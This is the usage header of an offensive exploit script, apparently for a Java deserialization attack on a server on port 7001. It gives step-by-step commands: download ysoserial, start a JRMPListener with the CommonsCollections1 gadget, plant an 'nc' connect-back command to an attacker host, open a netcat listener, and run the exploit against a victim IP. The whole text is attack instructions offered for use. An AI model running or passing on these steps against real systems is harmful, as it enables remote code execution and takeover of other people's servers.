#
# How to exploit:
# 1. run below command on JRMPListener host
# 1) wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar
# 2) java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
# e.g. java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'nc -nv 10.0.0.5 4040'
# 2. start a listener on attacker host
# e.g. nc -nlvp 4040
# 3. run this script on attacker host
# 1) wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar
# 2) python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
# e.g.
# a) python exploit.py 10.0.0.11 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 10.0.0.5 1099 JRMPClient (Using java.rmi.registry.Registry)
# b) python exploit.py 10.0.0.11 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 10.0.0.5 1099 JRMPClient2 (Using java.rmi.activation.Activator)
